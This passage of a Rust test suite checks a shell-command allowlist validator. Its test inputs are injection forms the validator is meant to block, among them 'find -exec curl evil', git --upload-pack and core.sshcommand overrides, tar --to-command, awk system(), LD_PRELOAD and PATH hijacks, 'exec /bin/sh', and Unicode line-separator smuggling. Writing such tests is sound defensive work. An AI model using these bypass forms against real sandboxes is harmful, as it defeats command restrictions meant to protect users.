1219 assert!(result.is_err(), "heredoc to interpreter must be blocked");
1220 }
1221
1222 #[test]
1223 fn python_script_file_still_allowed() {
1224 let list = allow(&["python3"]);
1225 assert!(check_all_segments("python3 script.py", &list).is_ok());
1226 assert!(check_all_segments("python3 -u script.py", &list).is_ok());
1227 }
1228
1229 #[test]
1230 fn bare_interpreter_detection() {
1231 assert!(is_bare_interpreter_stdin("python3"));
1232 assert!(is_bare_interpreter_stdin("python3 -u"));
1233 assert!(!is_bare_interpreter_stdin("python3 script.py"));
1234 assert!(!is_bare_interpreter_stdin("python3 -u script.py"));
1235 }
1236
1237 #[test]
1240 fn dollar_paren_in_args_passes_by_default() {
1241 let list = allow(&["echo", "git", "cat"]);
1242 assert!(
1243 check_all_segments("echo $(whoami)", &list).is_ok(),
1244 "$() in args must still pass when shell_strict_mode=false (default)"
1245 );
1246 }
1247
1248 #[test]
1249 fn backticks_in_args_passes_by_default() {
1250 let list = allow(&["echo"]);
1251 assert!(
1252 check_all_segments("echo `date`", &list).is_ok(),
1253 "backticks in args must still pass when shell_strict_mode=false"
1254 );
1255 }
1256
1257 #[test]
1258 fn git_commit_with_subst_passes_by_default() {
1259 let list = allow(&["git", "cat"]);
1260 assert!(
1261 check_all_segments(
1262 "git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
1263 &list,
1264 )
1265 .is_ok(),
1266 "git commit with $() must still pass (regression test)"
1267 );
1268 }
1269
1270 #[test]
1275 fn git_status_allowed() {
1276 let list = allow(&["git"]);
1277 assert!(check_all_segments("git status", &list).is_ok());
1278 }
1279
1280 #[test]
1281 fn git_upload_pack_blocked() {
1282 let list = allow(&["git"]);
1283 let result = check_all_segments("git --upload-pack=\"evil\" clone repo", &list);
1284 assert!(result.is_err(), "git --upload-pack must be blocked");
1285 }
1286
1287 #[test]
1288 fn git_config_sshcommand_blocked() {
1289 let list = allow(&["git"]);
1290 let result = check_all_segments("git --config=core.sshcommand=\"evil\" clone repo", &list);
1291 assert!(
1292 result.is_err(),
1293 "git --config=core.sshcommand must be blocked"
1294 );
1295 }
1296
1297 #[test]
1298 fn tar_extract_allowed() {
1299 let list = allow(&["tar"]);
1300 assert!(check_all_segments("tar xf archive.tar", &list).is_ok());
1301 }
1302
1303 #[test]
1304 fn tar_to_command_blocked() {
1305 let list = allow(&["tar"]);
1306 let result = check_all_segments("tar xf a.tar --to-command=evil", &list);
1307 assert!(result.is_err(), "tar --to-command must be blocked");
1308 }
1309
1310 #[test]
1311 fn find_name_allowed() {
1312 let list = allow(&["find"]);
1313 assert!(check_all_segments("find . -name \"*.rs\"", &list).is_ok());
1314 }
1315
1316 #[test]
1317 fn find_exec_blocked() {
1318 let list = allow(&["find"]);
1319 let result = check_all_segments("find . -exec curl evil \\;", &list);
1320 assert!(result.is_err(), "find -exec must be blocked");
1321 }
1322
1323 #[test]
1324 fn awk_system_blocked() {
1325 let list = allow(&["awk"]);
1326 let result = check_all_segments("awk '{system(\"id\")}'", &list);
1327 assert!(result.is_err(), "awk system() must be blocked");
1328 }
1329
1330 #[test]
1331 fn awk_normal_allowed() {
1332 let list = allow(&["awk"]);
1333 assert!(check_all_segments("awk '{print $1}'", &list).is_ok());
1334 }
1335
1336 #[test]
1337 fn inline_path_env_blocked() {
1338 let list = allow(&["git"]);
1339 let result = check_all_segments("PATH=/tmp/evil git status", &list);
1340 assert!(result.is_err(), "PATH= inline env must be blocked");
1341 }
1342
1343 #[test]
1344 fn inline_ld_preload_blocked() {
1345 let list = allow(&["ls"]);
1346 let result = check_all_segments("LD_PRELOAD=/tmp/evil.so ls", &list);
1347 assert!(result.is_err(), "LD_PRELOAD= inline env must be blocked");
1348 }
1349
1350 #[test]
1351 fn echo_path_in_quotes_allowed() {
1352 let list = allow(&["echo"]);
1353 assert!(
1354 check_all_segments("echo \"PATH=test\"", &list).is_ok(),
1355 "PATH inside quotes is not an inline env assignment"
1356 );
1357 }
1358
1359 #[test]
1362 fn empty_allowlist_blocks_dot_source() {
1363 let result = check_shell_allowlist(". /tmp/evil.sh");
1364 assert!(
1365 result.is_err(),
1366 ". must be blocked even with empty allowlist"
1367 );
1368 }
1369
1370 #[test]
1371 fn unicode_line_separators_normalized() {
1372 let normalized = normalize_line_continuations("echo ok\u{2028}curl evil");
1373 assert!(
1374 normalized.contains('\n'),
1375 "U+2028 must be normalized to newline"
1376 );
1377 }
1378
1379 #[test]
1380 fn unicode_paragraph_separator_normalized() {
1381 let normalized = normalize_line_continuations("echo ok\u{2029}curl evil");
1382 assert!(
1383 normalized.contains('\n'),
1384 "U+2029 must be normalized to newline"
1385 );
1386 }
1387
1388 #[test]
1389 fn empty_allowlist_blocks_exec() {
1390 let result = check_shell_allowlist("exec /bin/sh");
1391 assert!(
1396 result.is_err(),
1397 "exec must be blocked even with empty allowlist"
1398 );
1399 }
1400}